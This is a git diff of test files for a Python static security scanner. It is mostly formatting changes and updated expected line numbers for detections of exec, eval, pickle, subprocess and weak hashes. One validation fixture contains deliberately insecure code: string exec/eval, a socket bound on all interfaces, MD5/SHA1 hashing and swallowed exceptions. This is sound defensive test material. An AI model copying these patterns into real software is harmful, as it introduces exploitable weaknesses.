     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "directorycreation2.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "directorycreation2.py"
+    )
     source = read_in_source_file(validation_file_path)
-    constructs = {'os.makedev'}
-     
-    actual_data = find_constructs(source, constructs) 
+    constructs = {"os.makedev"}
+
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.makedev': [94]}
+    expected_data = {"os.makedev": [94]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -100,12 +119,16 @@ def test_sys_calls():
     # validation1.py is in a subfolder:
     validation_file_path = current_file_directory / "validationfiles" / "syslibrary.py"
     source = read_in_source_file(validation_file_path)
-    constructs = {'sys.call_tracing', 'sys.setprofile', 'sys.settrace'}
+    constructs = {"sys.call_tracing", "sys.setprofile", "sys.settrace"}
 
-    actual_data = find_constructs(source, constructs) 
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'sys.call_tracing': [12], 'sys.setprofile': [29, 31], 'sys.settrace': [35, 37]}
+    expected_data = {
+        "sys.call_tracing": [12],
+        "sys.setprofile": [29, 31],
+        "sys.settrace": [35, 37],
+    }
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_edgecases.py b/tests/test_edgecases.py
index 004e50e..2d76b17 100644
--- a/tests/test_edgecases.py
+++ b/tests/test_edgecases.py
@@ -11,9 +11,10 @@
 Validation file to see if SAST suppression works correct.
 """
 
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.security_checks import perform_validations
 
 
@@ -21,11 +22,10 @@ def test_eval():
     """
     11 flags must be found. Changes to the core logic for finding code weakness edge cases often degrade functionality like aliases.
 
-    Note that 
+    Note that
 
     """
-    
-    
+
     current_file_directory = Path(__file__).parent
 
     # validation1.py is in a subfolder:
@@ -34,10 +34,14 @@ def test_eval():
     result = perform_validations(validation_file_path)
 
     # actual_data = find_constructs(source, constructs)
-    actual_data = result['result']
+    actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {'exec': [5], 'eval': [8, 11, 12, 13, 21, 23, 26, 28, 30], '__import__': [30]}
+    expected_data = {
+        "exec": [5],
+        "eval": [8, 11, 12, 13, 21, 23, 26, 28, 30],
+        "__import__": [30],
+    }
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -52,19 +56,18 @@ def test_eval2():
     This is due to the fact that I use a list of constructs, which is easy, extendable etc
     BUT a few edge cases espace. This is one.
     Root cause is in:
-        
+
                 elif isinstance(node, ast.Name):
                     resolved = alias_map.get(node.id, node.id)
                     if resolved in constructs_to_detect:
                         construct = resolved
-    
+
     (snippet from core logic file for SAST flagging: issuevalidations.py)
-    I will NOT solve this for now, its a edge case that normally will not be seen. Never override built-in variables/ keywords!!! 
+    I will NOT solve this for now, its a edge case that normally will not be seen. Never override built-in variables/ keywords!!!
     All other edge cases work fine, like aliases etc.
 
     """
-    
-    
+
     current_file_directory = Path(__file__).parent
 
     # validation1.py is in a subfolder:
@@ -73,10 +76,10 @@ def test_eval2():
     result = perform_validations(validation_file_path)
 
     # actual_data = find_constructs(source, constructs)
-    actual_data = result['result']
+    actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {'eval': [8]}
+    expected_data = {"eval": [8]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_hashstrenght.py b/tests/test_hashstrenght.py
index 52966bb..c88a0b6 100644
--- a/tests/test_hashstrenght.py
+++ b/tests/test_hashstrenght.py
@@ -1,9 +1,11 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 
+
 def test_hash_strenght():
     current_file_directory = Path(__file__).parent
 
@@ -11,13 +13,12 @@ def test_hash_strenght():
     validation_file_path = current_file_directory / "validationfiles" / "hashcheck.py"
 
     source = read_in_source_file(validation_file_path)
-    
-    constructs = {'hashlib.md5', 'hashlib.sha1'}
-    actual_data = find_constructs(source, constructs) 
+
+    constructs = {"hashlib.md5", "hashlib.sha1"}
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'hashlib.md5': [19], 
-                     'hashlib.sha1': [20,48]}
+    expected_data = {"hashlib.md5": [19], "hashlib.sha1": [20, 48]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_modulecheck.py b/tests/test_modulecheck.py
index 8da4f30..7af3693 100644
--- a/tests/test_modulecheck.py
+++ b/tests/test_modulecheck.py
@@ -1,21 +1,24 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
+from codeaudit.checkmodules import check_module_vulnerability, get_imported_modules
 from codeaudit.filehelpfunctions import read_in_source_file
-from codeaudit.checkmodules import get_imported_modules , check_module_vulnerability
+
 
 def test_module_check():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
     validation_file_path = current_file_directory / "validationfiles" / "modulecheck.py"
     source = read_in_source_file(validation_file_path)
-    
-        
-    actual_data = get_imported_modules(source) 
+
+    actual_data = get_imported_modules(source)
 
     # This is the expected dictionary
-    expected_data = {'core_modules': ['csv','os', 'random' ],
-                     'imported_modules': ['linkaudit', 'pandas', 'requests']}
+    expected_data = {
+        "core_modules": ["csv", "os", "random"],
+        "imported_modules": ["linkaudit", "pandas", "requests"],
+    }
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_obfuscatingbuiltins.py b/tests/test_obfuscatingbuiltins.py
index 15c1e37..fc12913 100644
--- a/tests/test_obfuscatingbuiltins.py
+++ b/tests/test_obfuscatingbuiltins.py
@@ -1,6 +1,7 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 from codeaudit.security_checks import perform_validations
@@ -21,12 +22,12 @@ def test_obfucatedbuiltins_usage():
 
     # This is the expected dictionary
     expected_data = {
-        "exec": [5, 16, 21, 32, 36, 37],
-        "eval": [7, 11, 40],
-        "input": [25, 28, 52],
-        "compile": [31],
-        "importlib.import_module": [53],
-        "__import__": [36, 37, 40, 44, 47],
+        "exec": [6, 17, 22, 37, 43, 44],
+        "eval": [8, 12, 47],
+        "input": [28, 33, 64],
+        "compile": [36],
+        "importlib.import_module": [65],
+        "__import__": [43, 44, 47, 53, 58],
     }
 
     # Assert that the actual data matches the expected data
diff --git a/tests/test_oschecks.py b/tests/test_oschecks.py
index c68a45f..54ddd17 100644
--- a/tests/test_oschecks.py
+++ b/tests/test_oschecks.py
@@ -1,12 +1,11 @@
-# SPDX-FileCopyrightText: 2025-present Maikel Mardjan(https://nocomplexity.com/) and all contributors! 
-#
-# SPDX-License-Identifier: GPL-3.0-or-later
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 
+
 def test_os_calls():
     current_file_directory = Path(__file__).parent
 
@@ -14,28 +13,26 @@ def test_os_calls():
     validation_file_path = current_file_directory / "validationfiles" / "oschecks.py"
 
     source = read_in_source_file(validation_file_path)
-    
+
     constructs = {
-        'os.chmod',
-        'os.makedirs',
-        'os.mkdir',
-        'os.mkfifo',
-        'os.mknod',
-        'os.makedev',
-        'os.fork',
-        'os.forkpty'
+        "os.chmod",
+        "os.makedirs",
+        "os.mkdir",
+        "os.mkfifo",
+        "os.mknod",
+        "os.makedev",
+        "os.fork",
+        "os.forkpty",
     }
 
-    
-    actual_data = find_constructs(source, constructs) 
+    actual_data = find_constructs(source, constructs)
     expected_data = {
-        'os.chmod': [15],     
-        'os.forkpty' :[25],
-        'os.fork': [26,32],        
+        "os.chmod": [15],
+        "os.forkpty": [25],
+        "os.fork": [26, 32],
     }
 
-
     # This is the expected dictionary
-    
+
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_pylintreport.py b/tests/test_pylintreport.py
index 6fe2a55..c7e5a0c 100644
--- a/tests/test_pylintreport.py
+++ b/tests/test_pylintreport.py
@@ -1,23 +1,21 @@
-# SPDX-FileCopyrightText: 2025-present Maikel Mardjan(https://nocomplexity.com/) and all contributors! 
+# SPDX-FileCopyrightText: 2025-present Maikel Mardjan(https://nocomplexity.com/) and all contributors!
 #
 # SPDX-License-Identifier: GPL-3.0-or-later
 
-import pytest
-import pandas as pd
 import html
 
-from codeaudit.reporting import pylint_reporting  
+import pandas as pd
+import pytest
+
+from codeaudit.reporting import pylint_reporting
+
 
 def test_basic_functionality():
     result = {
         "file_privacy_check": {
             "file1": {
                 "privacy_check_result": [
-                    {
-                        "lineno": 10,
-                        "matched": True,
-                        "code": "print('hello')"
-                    }
+                    {"lineno": 10, "matched": True, "code": "print('hello')"}
                 ]
             }
         }
@@ -30,17 +28,15 @@ def test_basic_functionality():
     assert len(df) == 1
 
     assert df.loc[0, "line"] == 10
-    assert df.loc[0, "found"]  
-    
+    assert df.loc[0, "found"]
+
 
 def test_html_escaping():
     code = "<script>alert('x')</script>"
     result = {
         "file_privacy_check": {
             "file1": {
-                "privacy_check_result": [
-                    {"lineno": 1, "matched": True, "code": code}
-                ]
+                "privacy_check_result": [{"lineno": 1, "matched": True, "code": code}]
             }
         }
     }
@@ -57,9 +53,7 @@ def test_newline_conversion():
     result = {
         "file_privacy_check": {
             "file1": {
-                "privacy_check_result": [
-                    {"lineno": 2, "matched": False, "code": code}
-                ]
+                "privacy_check_result": [{"lineno": 2, "matched": False, "code": code}]
             }
         }
     }
@@ -100,11 +94,7 @@ def test_empty_input():
 def test_missing_keys():
     result = {
         "file_privacy_check": {
-            "file1": {
-                "privacy_check_result": [
-                    {}  # missing all fields
-                ]
-            }
+            "file1": {"privacy_check_result": [{}]}  # missing all fields
         }
     }
 
@@ -125,12 +115,8 @@ def test_none_file_privacy_check():
 
 
 def test_no_privacy_results():
-    result = {
-        "file_privacy_check": {
-            "file1": {}
-        }
-    }
+    result = {"file_privacy_check": {"file1": {}}}
 
     df = pylint_reporting(result)
 
-    assert df.empty
\ No newline at end of file
+    assert df.empty
diff --git a/tests/test_pypiscan.py b/tests/test_pypiscan.py
index 05e2b6c..1e4d8ea 100644
--- a/tests/test_pypiscan.py
+++ b/tests/test_pypiscan.py
@@ -1,10 +1,11 @@
+from unittest.mock import patch
+
 import pytest
 
 from codeaudit.pypi_package_scan import get_pypi_download_info
 
-#Note This testfunction does NOT make real API calls to PyPI! So check if testdata is still correct in cause of errors.
+# Note This testfunction does NOT make real API calls to PyPI! So check if testdata is still correct in cause of errors.
 
-from unittest.mock import patch
 
 @pytest.fixture
 def mock_pypi_response():
@@ -15,36 +16,41 @@ def mock_pypi_response():
             "1.2.3": [
                 {
                     "packagetype": "bdist_wheel",
-                    "url": "https://files.pythonhosted.org/package-1.2.3-py3-none-any.whl"
+                    "url": "https://files.pythonhosted.org/package-1.2.3-py3-none-any.whl",
                 },
                 {
                     "packagetype": "sdist",
-                    "url": "https://files.pythonhosted.org/package-1.2.3.tar.gz"
-                }
+                    "url": "https://files.pythonhosted.org/package-1.2.3.tar.gz",
+                },
             ]
-        }
+        },
     }
 
-@patch('codeaudit.pypi_package_scan.get_pypi_package_info')
+
+@patch("codeaudit.pypi_package_scan.get_pypi_package_info")
 def test_get_pypi_download_info_success(mock_get, mock_pypi_response):
     """Test successful retrieval of sdist URL."""
     mock_get.return_value = mock_pypi_response
-    
+
     result = get_pypi_download_info("some-package")
-    
+
     assert result["release"] == "1.2.3"
-    assert result["download_url"] == "https://files.pythonhosted.org/package-1.2.3.tar.gz"
+    assert (
+        result["download_url"] == "https://files.pythonhosted.org/package-1.2.3.tar.gz"
+    )
+
 
-@patch('codeaudit.pypi_package_scan.get_pypi_package_info')
+@patch("codeaudit.pypi_package_scan.get_pypi_package_info")
 def test_get_pypi_download_info_no_package(mock_get):
     """Test behavior when the package does not exist (returns False)."""
     mock_get.return_value = False
-    
+
     result = get_pypi_download_info("non-existent-package")
-    
+
     assert result is False
 
-@patch('codeaudit.pypi_package_scan.get_pypi_package_info')
+
+@patch("codeaudit.pypi_package_scan.get_pypi_package_info")
 def test_get_pypi_download_info_no_sdist(mock_get, mock_pypi_response):
     """Test when the version exists but no sdist (.tar.gz) is available."""
     # Remove the sdist entry from the mock data
@@ -52,18 +58,19 @@ def test_get_pypi_download_info_no_sdist(mock_get, mock_pypi_response):
         {"packagetype": "bdist_wheel", "url": "https://files...whl"}
     ]
     mock_get.return_value = mock_pypi_response
-    
+
     result = get_pypi_download_info("some-package")
-    
+
     assert result["release"] == "1.2.3"
     assert result["download_url"] is None
 
-@patch('codeaudit.pypi_package_scan.get_pypi_package_info')
+
+@patch("codeaudit.pypi_package_scan.get_pypi_package_info")
 def test_get_pypi_download_info_wrong_extension(mock_get, mock_pypi_response):
     """Test when an sdist exists but is not a .tar.gz file."""
     mock_pypi_response["releases"]["1.2.3"][1]["url"] = "https://files...source.zip"
     mock_get.return_value = mock_pypi_response
-    
+
     result = get_pypi_download_info("some-package")
-    
+
     assert result["download_url"] is None
diff --git a/tests/test_random.py b/tests/test_random.py
index 6596d2c..23a1a81 100644
--- a/tests/test_random.py
+++ b/tests/test_random.py
@@ -1,6 +1,7 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 from codeaudit.security_checks import perform_validations
@@ -19,12 +20,12 @@ def test_random_usage():
 
     # This is the expected dictionary
     expected_data = {
-        "random.Random": [19],
-        "random.randrange": [22],
-        "random.randint": [24],
-        "random.uniform": [26],
-        "random.triangular": [28],
-        "random.randbytes": [31],
+        "random.Random": [20],
+        "random.randrange": [23],
+        "random.randint": [25],
+        "random.uniform": [27],
+        "random.triangular": [29],
+        "random.randbytes": [32],
         "random.random": [14],
         "random.seed": [15],
     }
diff --git a/tests/test_secretfinding.py b/tests/test_secretfinding.py
index d1af703..b2c541c 100644
--- a/tests/test_secretfinding.py
+++ b/tests/test_secretfinding.py
@@ -1,20 +1,23 @@
-import pytest
 from pathlib import Path
 
-from codeaudit.privacy_lint import data_egress_scan , count_privacy_check_results
+import pytest
+
+from codeaudit.privacy_lint import count_privacy_check_results, data_egress_scan
+
 
 def test_secretfinding():
     current_file_directory = Path(__file__).parent
 
     # apivalidations.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "apivalidations.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "apivalidations.py"
+    )
     real_secrets_found = data_egress_scan(validation_file_path)
-    
-    actual_number_found = count_privacy_check_results(real_secrets_found)
-    expected_number = 19  #secrets are exact match with words in the secretslist!
 
+    actual_number_found = count_privacy_check_results(real_secrets_found)
+    expected_number = 19  # secrets are exact match with words in the secretslist!
 
     # This is the expected dictionary
-    
+
     # Assert that the actual data matches the expected data
     assert actual_number_found == expected_number
diff --git a/tests/test_standardlibconstructs.py b/tests/test_standardlibconstructs.py
index 9da70c3..0d298f1 100644
--- a/tests/test_standardlibconstructs.py
+++ b/tests/test_standardlibconstructs.py
@@ -1,6 +1,7 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 from codeaudit.security_checks import perform_validations
@@ -13,17 +14,17 @@ def test_xml_usage():
     validation_file_path = current_file_directory / "validationfiles" / "xml.py"
 
     source = read_in_source_file(validation_file_path)
-    
-    constructs = {'xmlrpc.client' ,'xmlrpc.server.SimpleXMLRPCServer'}
-    actual_data = find_constructs(source, constructs) 
+
+    constructs = {"xmlrpc.client", "xmlrpc.server.SimpleXMLRPCServer"}
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'xmlrpc.client': [14] ,
-                     'xmlrpc.server.SimpleXMLRPCServer': [7,26] }
+    expected_data = {"xmlrpc.client": [14], "xmlrpc.server.SimpleXMLRPCServer": [7, 26]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
 
+
 def test_os_interfaces():
     current_file_directory = Path(__file__).parent
 
@@ -31,13 +32,12 @@ def test_os_interfaces():
     validation_file_path = current_file_directory / "validationfiles" / "oschecks.py"
 
     source = read_in_source_file(validation_file_path)
-    
-    constructs = {'os.access' ,'os.write'}
-    actual_data = find_constructs(source, constructs) 
+
+    constructs = {"os.access", "os.write"}
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'os.access': [5,12] ,
-                     'os.write': [22] }
+    expected_data = {"os.access": [5, 12], "os.write": [22]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -50,13 +50,14 @@ def test_base64encoding():
     validation_file_path = current_file_directory / "validationfiles" / "base64.py"
 
     source = read_in_source_file(validation_file_path)
-    
-    constructs = {'base64'}
-    actual_data = find_constructs(source, constructs) 
+
+    constructs = {"base64"}
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'base64': [2,3] ,
-                     }
+    expected_data = {
+        "base64": [2, 3],
+    }
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -69,14 +70,15 @@ def test_httpserver_usage():
     validation_file_path = current_file_directory / "validationfiles" / "httpserver.py"
 
     source = read_in_source_file(validation_file_path)
-    
-    constructs = {'http.server.BaseHTTPRequestHandler',
-                  'http.server.HTTPServer'}
-    actual_data = find_constructs(source, constructs) 
+
+    constructs = {"http.server.BaseHTTPRequestHandler", "http.server.HTTPServer"}
+    actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {'http.server.BaseHTTPRequestHandler': [4,23] ,
-                     'http.server.HTTPServer': [23] }
+    expected_data = {
+        "http.server.BaseHTTPRequestHandler": [4, 23],
+        "http.server.HTTPServer": [23],
+    }
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -84,18 +86,19 @@ def test_httpserver_usage():
 
 def test_pickle_usage():
     current_file_directory = Path(__file__).parent
-    
+
     validation_file_path = current_file_directory / "validationfiles" / "pickle.py"
 
-       
     result = perform_validations(validation_file_path)
-    #actual_data = find_constructs(source, constructs) 
-    actual_data = result['result']
-     # This is the expected dictionary
-    
-    expected_data = {'pickle.loads': [3, 12], 'pickle.Unpickler': [16], 'pickle.load': [7]}
+    # actual_data = find_constructs(source, constructs)
+    actual_data = result["result"]
+    # This is the expected dictionary
+
+    expected_data = {
+        "pickle.loads": [3, 12],
+        "pickle.Unpickler": [16],
+        "pickle.load": [7],
+    }
 
-    
     # # Assert that the actual data matches the expected data
     assert actual_data == expected_data
-
diff --git a/tests/test_subprocess.py b/tests/test_subprocess.py
index 52f5ec1..3a34f6f 100644
--- a/tests/test_subprocess.py
+++ b/tests/test_subprocess.py
@@ -1,6 +1,7 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.security_checks import perform_validations
 
 
@@ -21,12 +22,12 @@ def test_subprocess_methods():
 
     # This is the expected dictionary
     expected_data = {
-        "subprocess.getoutput": [88, 96],
-        "subprocess.getstatusoutput": [100],
-        "subprocess.run": [20],
-        "subprocess.Popen": [44, 63],
-        "subprocess.check_call": [79],
-        "subprocess.call": [80],
+        "subprocess.getoutput": [96, 104],
+        "subprocess.getstatusoutput": [108],
+        "subprocess.run": [21],
+        "subprocess.Popen": [46, 67],
+        "subprocess.check_call": [85],
+        "subprocess.call": [86],
     }
 
     # Assert that the actual data matches the expected data
diff --git a/tests/test_suppression.py b/tests/test_suppression.py
index e294701..48b57eb 100644
--- a/tests/test_suppression.py
+++ b/tests/test_suppression.py
@@ -1,6 +1,7 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.security_checks import perform_validations
 from codeaudit.suppression import filter_sast_results
 
@@ -20,14 +21,14 @@ def test_suppression_working():
 
     # This is the expected dictionary
     expected_data = {
-        "assert": [43, 44, 45, 80],
-        "subprocess.Popen": [16, 17, 21, 22],
-        "input": [25, 31],
-        "compile": [27, 33],
-        "exec": [28, 34, 49, 50, 51, 79],
-        "shelve.DbfilenameShelf": [38],
-        "gzip.open": [59, 60, 61, 82],
-        "os.chmod": [70, 71, 72, 81],
+        "assert": [46, 47, 48, 75],
+        "subprocess.Popen": [15, 16, 18, 19],
+        "input": [23, 31],
+        "compile": [25, 33],
+        "exec": [26, 34, 52, 53, 54, 74],
+        "shelve.DbfilenameShelf": [41],
+        "gzip.open": [60, 61, 62, 77],
+        "os.chmod": [68, 69, 70, 76],
     }
 
     # Assert that the actual data matches the expected data without suppression
@@ -50,10 +51,10 @@ def test_suppression_suppressedresult():
 
     # This is the expected dictionary
     expected_data = {
-        "subprocess.Popen": [21, 22],
-        "input": [25],
-        "compile": [27, 33],
-        "exec": [28],
+        "subprocess.Popen": [18, 19],
+        "input": [23],
+        "compile": [25, 33],
+        "exec": [26],
     }
 
     # Assert that the actual data matches the expected data without suppression
diff --git a/tests/test_suppressionlogic.py b/tests/test_suppressionlogic.py
index ad14f59..7ce616f 100644
--- a/tests/test_suppressionlogic.py
+++ b/tests/test_suppressionlogic.py
@@ -1,11 +1,12 @@
 import textwrap
+
 import pytest
 
-from codeaudit.suppression import get_all_comments_by_line , match_suppression_keyword
+from codeaudit.suppression import get_all_comments_by_line, match_suppression_keyword
+
 
 def test_get_all_comments_by_line(tmp_path):
-    source = textwrap.dedent(
-        """
+    source = textwrap.dedent("""
         # module comment
         #module comment
         x = 1  # inline comment
@@ -14,8 +15,7 @@ def test_get_all_comments_by_line(tmp_path):
         # trailing comment
         def foo():
             pass  # inside function
-        """
-    )
+        """)
 
     file_path = tmp_path / "example.py"
     file_path.write_text(source)
@@ -32,9 +32,6 @@ def foo():
     }
 
 
-
-
-
 @pytest.mark.parametrize(
     "comment, expected",
     [
@@ -51,30 +48,26 @@ def foo():
         ("# NOSONAR", True),
         ("# security-ignore", True),
         ("# ignore-security", True),
-
         # --- positive matches (risk handling) ---
         ("# false-positive", True),
         ("# falsepositive", True),
         ("# risk-accepted", True),
         ("# security-reviewed", True),
         ("# security-exception", True),
-
         # --- inline / mixed content ---
         ("# TODO: fix later  # nosec", True),
         ("Some comment with nosec inside", True),
         ("Reviewed: security-reviewed by team", True),
-
         # --- negative cases ---
         ("# no security issues found", False),
         ("# ignore this comment", False),
         ("# secure code", False),
         ("just a regular comment", False),
-        ("# nosecx", False),          # partial match should not count
-        ("# no sec", False),        # partial match should not count
-        ("# nosex", False), # this is not funny - AI will not do these things
+        ("# nosecx", False),  # partial match should not count
+        ("# no sec", False),  # partial match should not count
+        ("# nosex", False),  # this is not funny - AI will not do these things
         ("# false positive", False),  # space breaks the token
         ("# risk accepted", False),
-
         # --- empty / None ---
         ("", False),
         (None, False),
diff --git a/tests/test_totalscheck.py b/tests/test_totalscheck.py
index 416c33f..105ffb7 100644
--- a/tests/test_totalscheck.py
+++ b/tests/test_totalscheck.py
@@ -1,23 +1,26 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
+from codeaudit.totals import count_ast_objects, overview_per_file, read_in_source_file
 
-from codeaudit.totals import read_in_source_file , overview_per_file , count_ast_objects
 
 def test_overview_per_file_check():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "correctcounts.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "correctcounts.py"
+    )
 
     # source = read_in_source_file(validation_file_path)
 
-    actual_data = overview_per_file(validation_file_path) 
-    actual_data.pop('FilePath', None)
+    actual_data = overview_per_file(validation_file_path)
+    actual_data.pop("FilePath", None)
 
     # This is the expected dictionary
     expected_data = {
-        "FileName": "correctcounts.py",        
+        "FileName": "correctcounts.py",
         "Number_Of_Lines": 115,
         "AST_Nodes": 57,
         "Std-Modules": 2,
@@ -36,7 +39,9 @@ def test_overview_per_file_check():
 def test_count_ast_objects():
     current_file_directory = Path(__file__).parent
     # validation1.py is in a subfolder:
-    validation_file_path = current_file_directory / "validationfiles" / "correctcounts.py"
+    validation_file_path = (
+        current_file_directory / "validationfiles" / "correctcounts.py"
+    )
 
     source = read_in_source_file(validation_file_path)
 
diff --git a/tests/test_zstd.py b/tests/test_zstd.py
index d6f05f5..4955bdf 100644
--- a/tests/test_zstd.py
+++ b/tests/test_zstd.py
@@ -1,10 +1,12 @@
-import pytest
 from pathlib import Path
 
+import pytest
+
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
 from codeaudit.security_checks import perform_validations
 
+
 def test_zstd_extraction():
     current_file_directory = Path(__file__).parent
 
@@ -14,7 +16,7 @@ def test_zstd_extraction():
     result = perform_validations(validation_file_path)
 
     # actual_data = find_constructs(source, constructs)
-    actual_data = result['result']
+    actual_data = result["result"]
 
     # This is the expected dictionary
     expected_data = {"compression.zstd.decompress": [10], "compression.zstd.open": [3]}
diff --git a/tests/validationfiles/allshit.py b/tests/validationfiles/allshit.py
index c89816a..1fd9410 100644
--- a/tests/validationfiles/allshit.py
+++ b/tests/validationfiles/allshit.py
@@ -1,11 +1,13 @@
 "Test file with all shit inserted"
 
+
 def divide(a, b):
     # Assert that the divisor 'b' is not zero.
     # If 'b' is 0, an AssertionError will be raised with the given message.
     assert b != 0, "Cannot divide by zero!"
     return a / b
 
+
 # --- Example Usage ---
 
 # This call will work correctly because b is not zero.
@@ -25,12 +27,14 @@ def divide(a, b):
     print(f"Error: {e}")
 
 print("-" * 20)
-exec("4*23") ; exec("4*23")
+exec("4*23")
+exec("4*23")
 
 import socket
+
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-s.bind(('0.0.0.0', 31137))
-s.bind(('192.168.0.1', 8080))
+s.bind(("0.0.0.0", 31137))
+s.bind(("192.168.0.1", 8080))
 
 # danger_string = "Maikel"
 # print(danger_string)
@@ -42,76 +46,78 @@ def divide(a, b):
 assert x > 5, "x should be greater than 5"
 print(f"Assertion passed: x ({x}) is greater than 5.")
 try:
-  do_some_stuff()
+    do_some_stuff()
 except ZeroDivisionError:
-  pass
+    pass
 
 while keep_going:
-  try:
-    do_some_stuff()
-  except ZeroDivisionError:
-    continue  #bad security practice - strange things can happen without catching and logging
-  
+    try:
+        do_some_stuff()
+    except ZeroDivisionError:
+        continue  # bad security practice - strange things can happen without catching and logging
 
 
-import hashlib 
+import hashlib
 
-def calculate_md5_hash(input_string):
-  """
-  Calculates the MD5 hash of a given string.
 
-  Args:
-    input_string: The string to be hashed.
+def calculate_md5_hash(input_string):
+    """
+    Calculates the MD5 hash of a given string.
 
-  Returns:
-    A hexadecimal string representing the MD5 hash.
-  """
-  # Encode the input string to bytes, as hashlib functions require bytes
-  encoded_string = input_string.encode('utf-8')
+    Args:
+      input_string: The string to be hashed.
 
-  # Create an MD5 hash object
-  md5_hash_object = hashlib.md5()
-  sha1_hash_object = hashlib.sha1()
+    Returns:
+      A hexadecimal string representing the MD5 hash.
+    """
+    # Encode the input string to bytes, as hashlib functions require bytes
+    encoded_string = input_string.encode("utf-8")
 
+    # Create an MD5 hash object
+    md5_hash_object = hashlib.md5()
+    sha1_hash_object = hashlib.sha1()
 
-  # Update the hash object with the encoded string
-  md5_hash_object.update(encoded_string)
+    # Update the hash object with the encoded string
+    md5_hash_object.update(encoded_string)
 
-  # Get the hexadecimal representation of the hash
-  hex_digest = md5_hash_object.hexdigest()
+    # Get the hexadecimal representation of the hash
+    hex_digest = md5_hash_object.hexdigest()
 
-  return hex_digest
+    return hex_digest
 
 
 from hashlib import sha1 as tooweak
 
+
 def calculate_hash(input_string):
-  """
-  Calculates the MD5 hash of a given string.
+    """
+    Calculates the MD5 hash of a given string.
+
+    Args:
+      input_string: The string to be hashed.
+
+    Returns:
+      A hexadecimal string representing the MD5 hash.
+    """
+    # Encode the input string to bytes, as hashlib functions require bytes
+    encoded_string = input_string.encode("utf-8")
 
-  Args:
-    input_string: The string to be hashed.
+    # Create an MD5 hash object
+    sha1_hash_object = tooweak()
 
-  Returns:
-    A hexadecimal string representing the MD5 hash.
-  """
-  # Encode the input string to bytes, as hashlib functions require bytes
-  encoded_string = input_string.encode('utf-8')
+    # Update the hash object with the encoded string
+    sha1_hash_object.update(encoded_string)
 
-  # Create an MD5 hash object
-  sha1_hash_object = tooweak()
+    # Get the hexadecimal representation of the hash
+    hex_digest = sha1_hash_object.hexdigest()
 
-  # Update the hash object with the encoded string
-  sha1_hash_object.update(encoded_string)
+    return hex_digest
 
-  # Get the hexadecimal representation of the hash
-  hex_digest = sha1_hash_object.hexdigest()
 
-  return hex_digest
+import os
+from os import access as check_access
 
 
-from os import access as check_access 
-import os 
 def nogood():
     if check_access("file.txt", os.R_OK):
         print("Accessible")
@@ -119,28 +125,28 @@ def nogood():
     eval("2 + 2")
     exec("4*23")
 
-
     if os.access("myfile", os.R_OK):
         with open("myfile") as fp:
             return fp.read()
-    os.chmod("myfile", 0o644) # The 0o prefix denotes an octal number
+    os.chmod("myfile", 0o644)  # The 0o prefix denotes an octal number
     print(f"Permissions for '{myfile}' set to 644 (octal).")
 
     return "some default data"
 
+
 def divide(a, b):
     """
     Divide a by b, handling ZeroDivisionError explicitly and
     demonstrating other parts of the try‑except ladder.
     """
     try:
-        result = a / b                       # May raise ZeroDivisionError
+        result = a / b  # May raise ZeroDivisionError
     except ZeroDivisionError:
         print("❌ Can't divide by zero!")
-        result = None                        # handle and recover
-    except Exception as exc:                 # catches *any* other error
+        result = None  # handle and recover
+    except Exception as exc:  # catches *any* other error
         # In real code, consider logging exc instead of pass
-        pass                                 # swallow the error (not recommended)
+        pass  # swallow the error (not recommended)
         result = None
     else:
         # Runs only if no exception was raised in the try block
@@ -150,37 +156,46 @@ def divide(a, b):
